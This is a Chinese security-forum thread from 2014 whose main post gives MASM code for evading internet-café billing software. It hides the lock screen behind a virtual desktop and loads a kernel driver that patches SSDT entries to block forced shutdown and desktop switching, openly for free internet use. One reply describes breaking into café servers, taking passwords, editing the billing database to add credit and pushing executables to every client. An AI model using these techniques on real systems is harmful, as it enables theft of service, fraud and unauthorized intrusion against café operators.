首页
社区
课程
招聘
[原创]网管软件玩隐身,API巧破网管软件 (驱动版)
发表于: 2014-6-16 19:24 15109

[原创]网管软件玩隐身,API巧破网管软件 (驱动版)

2014-6-16 19:24
15109

网管软件玩隐身,API巧破网管软件 (驱动版)

----写给曾经的黑防 hccker0058(nohacks)

一.寻寻觅觅,开始前的可行性分析

网管类程序锁定电脑的时候,都会有一个会员登陆窗口,我们一般的思路是结束它的进程,即Kill,但是我们有没有想过,还有没有别的什么办法?况且这样阻断了网管程序与服务器的通讯,网管也会发现的,再说,如果我们碰到了像病毒一样的网管程序怎么也Kill不掉该怎么办了?

咦,有办法了!大家都知道老板键吧,当Office中老板独特的嗓音(脚步声,呼吸声)响起之时,手无寸铁的白领MM一瞬间一键隐藏了自己正在浏览的网站界面和应用程序界面......隐藏窗口也就是本文的思路--隐藏网吧管理软件的客户端会员登陆窗口!

二.先知后行

要实现隐藏窗口的目地可以借助WindowsAPI涵数,目前我所知道的有2种方法:
1.通过API涵数ShowWindow直接隐藏网管软件的窗口。

2.通过创建一个虚拟桌面,达到另类隐藏的目的。

本文主要讲第二种方法:创建虚拟桌面,主要流程如下:通过CreateDesktop创建一个虚拟桌面,SetThreadDesktop设置线程桌面,SwitchDesktop切换桌面,不用时用CloseDesktop关闭桌面。

新建桌面并没有帮我们加载外壳explorer.exe,需要我们手动加载,可以用CreateProcess来创建。
函数原型:

BOOL CreateProcess
(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes。
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
有10个参数,其实我们特别要注意的只是倒数第二个参数lpStartupInfo,它指向一个用于决定新进程的主窗体如何显示的STARTUPINFO结构体
STARTUPINFO.lpDesktop 就是设置运行的桌面,提供桌面标示即可,和CreateDesktop的第一个参数相同。

下面是一段MASM的代码,就是用来在新桌面加载外壳的。

StartMyExplore proc

LOCAL sui:STARTUPINFO
LOCAL pi:PROCESS_INFORMATION
;invoke RtlZeroMemory,addr sui,SIZEOF STARTUPINFO
mov sui.cb,SIZEOF STARTUPINFO
mov sui.lpDesktop,offset IdDesktop
invoke CreateProcess,NULL,CTEXT("explorer"),NULL,NULL,TRUE,CREATE_DEFAULT_ERROR_MODE or
CREATE_SEPARATE_WOW_VDM,NULL,NULL,addr sui,addr pi
ret

StartMyExplore endp

到这里,我们的新桌面算是可以正常工作了,网管软件在旧桌面,它不会影响我们的新桌面,这样网管软件的锁定对我们无效了。

解决了锁定的问题,我们在来看关机的问题,因为网管软件在锁定一段时间内没有人解锁会自动关机的。

在ring3下关机一般是通过调用ExitWindowsEx来实现的,我们在RING3下挂钩这个函数也可以实现拦截关机,但是可能只对一般的程序有效,现在的计费软件会直接调用内核函数暴力关机,因此我们需要挂钩内核函数。
在WINXP里正常关机最终会调用内核函数NtUserCallOneParam,而在32位 Win7下会调用内核函数NtUserCallNoParam,一般情况下,我们HOOK这2个函数就可以阻止关机。
另外NtInitiatePowerAction和NtSetSystemPowerState这2个SSDT函数也可以实现关机,我们也要照顾到。

new_NtInitiatePowerAction proc SystemAction,MinSystemState,Flags, Asynchronous
; .if SystemAction==PowerActionShutdown || SystemAction==PowerActionShutdownReset
;
; mov eax,STATUS_UNSUCCESSFUL
;
; ret
;
; .endif
;
; push Asynchronous
; push Flags
; push MinSystemState
; push SystemAction
; call old_NtInitiatePowerAction
; ret

mov eax,STATUS_UNSUCCESSFUL
ret

new_NtInitiatePowerAction endp

new_NtSetSystemPowerState proc SystemAction,MinSystemState,Flags
; .if SystemAction==PowerActionShutdown || SystemAction==PowerActionShutdownReset
;
; mov eax,STATUS_UNSUCCESSFUL
;
; ret
;
; .endif
;
; push Flags
; push MinSystemState
; push SystemAction
; call old_NtSetSystemPowerState
; ret

mov eax,STATUS_UNSUCCESSFUL
ret
new_NtSetSystemPowerState endp

上面的代码,直接让它返回STATUS_UNSUCCESSFUL,使其调用失败。

另外,有些网管程序可能会检查当前桌面并会切换回原桌面,我们还需要挂钩

NtUserSwitchDesktop:

new_NtUserSwitchDesktop PROC hDesktop

mov eax,STATUS_UNSUCCESSFUL

ret
new_NtUserSwitchDesktop endp

但这样后,为了使我们的应用层也能使用SwitchDesktop,我们可以通过ControlDriver给驱动程序发送
SwitchDesktop需要的参数,然后在驱动DispatchControl例程里直接调用原函数:

;应用程需要切换桌面

.elseif dwIoControlCode==IOCTL_CODE(802h)
mov eax,pSystemBuffer
push dword ptr[eax]
call old_NtUserSwitchDesktop

mov eax, STATUS_SUCCESS

为了实现拦截切换桌面,关机的目的,我们需要挂钩5个函数:NtUserSwitchDesktop,NtUserCallOneParam,
NtUserCallNoParam,NtSetSystemPowerState,NtSetSystemPowerState.

那么如何挂钩呢?那要从系统服务描述符表说起。

SSDT(System Services Descriptor Table),系统服务描述符表。这个表就是一个把ring3的Win32 API和ring0的内核API联系起来。SSDT并不仅仅只包含一个庞大的地址索引表,它还包含着一些其它有用的信息,诸如地址索引的基地址、服务函数个数等。
通过修改此表的函数地址可以对常用windows函数及API进行hook,从而实现对一些关心的系统动作进行过滤、监控的目的。一些HIPS、防毒软件、系统监控、注册表监控软件往往会采用此接口来实现自己的监控模块,
SSDT到底是什么呢?打一个比方,SSDT相当于系统内部API的指向标,作用就是告诉系统,需要调用的API在什么地方。

;服务表结构
SYSTEM_SERVICE_TABLE struct

ServiceTableBase dd ? ;这里是组入口指针
ServiceCounterTableBase dd ? ;此处是调用次数计数数组
NumberOfServices dd ? ;服务入口的个数
ParamTableBase dd ? ;服务参数字节数的数组

SYSTEM_SERVICE_TABLE ends
PSYSTEM_SERVICE_TABLE typedef PTR SYSTEM_SERVICE_TABLE
;SSDT&&SSSDT表结构
SYSTEM_DESCRIPTOR_TABLE struct

ntoskrnl SYSTEM_SERVICE_TABLE <> ;ntoskrnl.exe (native api)
win32k SYSTEM_SERVICE_TABLE <> ;win32k.sys (gdi/user)
Table3 SYSTEM_SERVICE_TABLE <> ;not used
Table4 SYSTEM_SERVICE_TABLE <> ;not used
SYSTEM_DESCRIPTOR_TABLE ends
PSYSTEM_DESCRIPTOR_TABLE typedef PTR PSYSTEM_DESCRIPTOR_TABLE

内核中存在两个系统服务描述符表,一个是KeServiceDescriptorTable(由ntoskrnl.exe导出),一个是KeServieDescriptorTableShadow
(没有导出)。

很不幸的是,我们要HOOK的这2个函数都在KeServieDescriptorTableShadow,属于SSSDT函数,值得庆贺的是我们可以通过KTHREAD.ServiceTable搜索得
到SSSDT基址,代码比较长,这里就不贴了,大家可以看附件代码。

得到SSSDT的基址后,我们通过服务号很容易定位到存函数指针存储地址,我们就可以修改存储地址的内容来个达到HOOK的目的。

和ring3的HOOK一样,这些内容默认是不可写的,我们可以操作cr0寄存器来修改写保护,代码如下:

;***************************************************************************
; 根据给出的服务序号和替代服务地址修改ssdt表,返回值为原服务地址
;***************************************************************************
EditSSDT proc uses ebx ecx lpbase:dword ,dwIndex:dword,lpNowProc:dword

invoke MmIsAddressValid,lpNowProc ;检查地址是否有效
.if al== FALSE

;invoke DbgPrint, $CTA0("无效地址:%8X\n"),lpNowProc
mov eax,FALSE
ret
.endif
mov ecx, dwIndex
mov eax, lpbase ;SYSTEM_SERVICE_TABLE

.if ecx>[eax+8] ;判断服务序号是否超出服务总数

mov eax,FALSE
ret

.endif

mov eax,[eax] ;SSDT的指针

mov ebx,[eax+ecx*4] ;原地址

.if lpNowProc==ebx ;原地址和要修改的地址相同,代表已经修改,直接返回假

mov eax,FALSE
ret

.endif

push ebx ;入栈,保存原来的ServerBase

lea ecx,[eax+ecx*4] ;取序号地址 也就是 mov ecx,eax+ecx*4

push ecx ;保护ecx, MmIsAddressValid函数会修改ECX的值
invoke MmIsAddressValid,[ecx] ;检查地址是否有效
pop ecx

.if al== FALSE
pop eax ;恢复堆栈

;invoke DbgPrint, $CTA0("无效地址:%8X\n"),ecx

mov eax,FALSE
ret
.endif

;去掉写保护
push eax
cli
mov eax, cr0
and eax, not 10000h
mov cr0, eax
pop eax

;修改 SSDT
push lpNowProc
pop dword ptr[ecx]

;恢复写保护
push eax
mov eax, cr0
or eax, 10000h
mov cr0, eax
sti
pop eax

pop eax ;出栈,返回值为原服务地址
ret
EditSSDT endp

调用很简单:
invoke EditSSDT,SSSDT, NtUserCallNoParam_callnumber,offset new_NtUserCallNoParam

.if eax
mov old_NtUserCallNoParam,eax
.endif

在驱动初始时,我们就需要获取SSDT表基地址及SSSDT表基地址,然后判断系统来设置函数服务号,还有一些其他工作:

InitHook proc

;HOOK SSSDT 必须在GUI线程上下文操作才有效,DispatchControl 操作会加载win32k.sys,加载win32k.sys后,系统导出的
KeServiceDescriptorTable表会失效

;这时HOOK SSDK 直接用找到的SSSDT基址即可,SSSDT表在第二个数组。

;取SSDT表基地址

invoke GetServiceDescriptorTableShadowAddress

mov SSDT,eax

;取SSSDT表基地址(win32.sys)

add eax,size SYSTEM_SERVICE_TABLE

mov SSSDT,eax

invoke DbgPrint,$CTA0("SSSDT BASE: %8X\n"),eax
;取系统版本

invoke GetWindowsVersion

mov WINDOWS_VERSION,eax

;只确定WINXP和WIN7的SSSDT序号是正确的,其他系统请修改。

.if eax==WINDOWS_VERSION_2K

mov NtUserCallNoParam_callnumber,142h
mov NtUserCallOneParam_callnumber,143h

mov Rcode,38h
ret

.elseif eax==WINDOWS_VERSION_XP || eax==WINDOWS_VERSION_2K3

mov NtUserCallNoParam_callnumber,142h
mov NtUserCallOneParam_callnumber,143h

mov NtInitiatePowerAction_callnumber ,93
mov NtSetSystemPowerState_callnumber ,241

mov NtUserSwitchDesktop_callnumber,558

mov Rcode,34h
ret

.else

mov NtUserCallNoParam_callnumber,14dh
mov NtUserCallOneParam_callnumber,14eh
mov NtInitiatePowerAction_callnumber ,150
mov NtSetSystemPowerState_callnumber ,351

mov NtUserSwitchDesktop_callnumber,594

mov Rcode,10h
ret

.endif

ret
InitHook endp

初始后,我们就可以进行挂钩了,要注意的是SSSDT表只有在GUI线程才有加载,非GUI线程访问会蓝屏,有2种方法解决这个问题:

1. 附加一个GUI进程
2. 用户层通过ControlDriver与驱动交互时执行。

本文采用的第二种方法:

.if dwIoControlCode==IOCTL_CODE(800h) ;IOCTL_GET_HOOK

invoke StartHook

mov eax, STATUS_SUCCESS

.elseif dwIoControlCode==IOCTL_CODE(801h) ;IOCTL_GET_UnHOOK

invoke StopHook

mov eax, STATUS_SUCCESS

开始挂钩:

StartHook proc

;SSDT层禁止关机重启

invoke EditSSDT,SSDT,SYSCALL_INDEX(ZwInitiatePowerAction ),offset new_NtInitiatePowerAction

.if eax
mov old_NtInitiatePowerAction,eax
.endif

; invoke DbgPrint,$CTA0("SSSDT BASE: %8X\n"),SYSCALL_INDEX(ZwSetSystemPowerState)

invoke EditSSDT,SSDT, NtSetSystemPowerState_callnumber,offset new_NtSetSystemPowerState

.if eax
mov old_NtSetSystemPowerState,eax
.endif
;
;禁止切换桌面

invoke EditSSDT,SSSDT, NtUserSwitchDesktop_callnumber,offset new_NtUserSwitchDesktop

.if eax
mov old_NtUserSwitchDesktop,eax
.endif
;

;

;SSSDT层禁止关机/重启/注销

.if WINDOWS_VERSION==WINDOWS_VERSION_XP || WINDOWS_VERSION==WINDOWS_VERSION_2K ||
WINDOWS_VERSION==WINDOWS_VERSION_2K3

invoke EditSSDT,SSSDT, NtUserCallOneParam_callnumber,offset new_NtUserCallOneParam

.if eax
mov old_NtUserCallOneParam,eax
.endif

.else

invoke EditSSDT,SSSDT, NtUserCallNoParam_callnumber,offset new_NtUserCallNoParam

.if eax
mov old_NtUserCallNoParam,eax
.endif

.endif

ret
StartHook endp

OK,主要流程就是这样了,现在计费软件锁定对我们无效,关机被我们拦截,这样是不是意味着免费上网?呵呵。

我的博客:http://nohacks.cn 欢迎来踩


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 3
支持
分享
最新回复 (33)
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
2
非安全杂志还办不办呀?
2014-6-16 19:31
0
雪    币: 750
活跃值: (228)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
3
我和非安全杂志同名而已

源码中有2个BUG会引发程序崩溃
1. 创建新桌面外壳进程的StartMyExplore函数中,没有对结构进行初始,可能造成Explorer崩溃

在程序开始处添加下面代码即可:
invoke RtlZeroMemory,addr sui,SIZEOF STARTUPINFO
invoke RtlZeroMemory,addr pi,SIZEOF PROCESS_INFORMATION

2. WIN+0 退出时程序崩溃

因为笔者疏忽,在StopDriverEx函数结尾处没有添加ret,程序退出时调用函数造成程序崩溃。

StopDriverEx proc acBufferName

invoke StopDriver,acBufferName
invoke UnregisterDriver, acBufferName
ret
StopDriverEx endp

添加红色部分即可,哎,一个低级错误。

重新上传一个结构优化了的GUI源码,模块式结构并引入SEH
上传的附件:
2014-6-16 19:34
0
雪    币: 46
活跃值: (82)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
RING0,都能进了....还搞这么复杂
2014-6-16 19:37
0
雪    币: 750
活跃值: (228)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
5
好吧,是我OUT了
2014-6-16 19:41
0
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
6
,原来如此
2014-6-16 19:48
0
雪    币: 292
活跃值: (153)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
7
0.0 你不知道 现在的网吧。。。都是有 驱动防火墙么。。。。
2014-6-16 20:35
0
雪    币: 114
活跃值: (180)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
支持,可惜很久不去网吧了。
2014-6-16 20:40
0
雪    币: 118
活跃值: (72)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
9
我穷得上不起网吧,干脆拉条百兆光纤到家里,经济实惠。
2014-6-16 20:47
0
雪    币: 750
活跃值: (228)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
10
不一定有,游戏经常更新,防火墙更新不及时会造成游戏玩不了,所以。。。
2014-6-16 21:31
0
雪    币: 750
活跃值: (228)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
11
2014-6-16 21:33
0
雪    币: 4717
活跃值: (4144)
能力值: ( LV8,RANK:138 )
在线值:
发帖
回帖
粉丝
12
好久没去过网吧了…哪天去试试
2014-6-16 21:57
0
雪    币: 967
活跃值: (1138)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
13
你难道不知道 在网吧 当客户机器没有钱的时候  主机上显示是红色的吗? 此时你还在玩  搞不好别人会剁你的手 你相信不?
2014-6-16 22:03
0
雪    币: 78
活跃值: (34)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
好文。绝对的好文
2014-6-17 06:29
0
雪    币: 750
活跃值: (228)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
15
客户机器没有钱,不充值最后就会变成锁定状态,然后倒计时关机,因为我们动了手脚,它关不了机,可能会一直保持锁定状态。。。

当然,请勿用来免费上网,只是技术娱乐
2014-6-17 08:25
0
雪    币: 3725
活跃值: (614)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
16
R3下过保护,过检测也是技术资本. R3下就能把它XXOO了,R0下还不得屌炸天....
2014-6-17 09:14
0
雪    币: 750
活跃值: (228)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
17
XXOO并没有什么,我们要与计费软件共存才是王道

就像病毒能与杀毒软件共存才是高境界,呵呵
2014-6-17 13:30
0
雪    币: 485
活跃值: (78)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
18
能用驱动的话,一个XT就搞定了,开启防止关机重启等设置就OK了。你还弄这么复杂
2014-6-18 09:37
0
雪    币: 102
活跃值: (31)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
19
学校机房同理吧哈哈哈.
2014-6-18 09:47
0
雪    币: 67
活跃值: (51)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
不管怎么说都是一不错的思路...、
mark 下
2014-6-18 11:29
0
雪    币: 74
活跃值: (748)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
好久没去网吧了。学习下
2014-6-18 14:07
0
雪    币: 19
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
mark, thx for share.
2014-6-19 13:50
0
雪    币: 750
活跃值: (228)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
23
你的想法很好,我就是参考XT写的代码,不过自己代码实现终归会好点
2014-6-19 15:12
0
雪    币: 79
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
提供了一种不同的思路,楼主探索精神很好。不过最好不要再网吧用来免费上网,小心被揍。。。
2014-6-19 22:12
0
雪    币: 9682
活跃值: (2486)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
好文!我曾经也想过这个方案,不错!但我有个更高境界的免费上网(自已曾经免费上网2年),首选你要入侵网吧的服务器,然后在里面给自已加钱吧,爽死了!
以前的经验,网吧的服务器一般有3台,一台是《网维大师》还原和游戏服务之类的,一台是本地电影之类的(有的网吧没有),一台就是收费管理的,这台收费管理的油水最大,因为它里面不光有上网冲值,有的还有代理点卡冲值的。记录下密码,然后3389,为什么要3389,因为一般冲点卡,比游戏币、Q币都要在那台电脑上操作,与硬件绑定了,哈哈~然后你懂的!本人以前这里的收费软件大多是《龙管家》之类的,还原大多是《网维大师》之类的。对了,给自己冲上网可以搞定它的SQLSEVER密码后,以后就可以直接在本地修改它的数据库了!~~~其实那个还原服务器的用处也很大,因为里面有给游戏和系统打补定的功能,利用这一功能,你可以把你的exe文件放入,那个爽字不是能形容的~~~~~当你控制了全网吧时,你可以用跳板大胆的给自己冲值。这只是本人的一点经验,希望对经常鼓捣网吧的朋友们有一点用处,当然,这个最大的难题是入侵。最后有成功的朋友,希望不要太过份,凡事有个度,至少本人没有做任何有破坏和获取利益的事。祝你成功朋友!
2014-6-19 22:39
0
游客
登录 | 注册 方可回帖
返回
//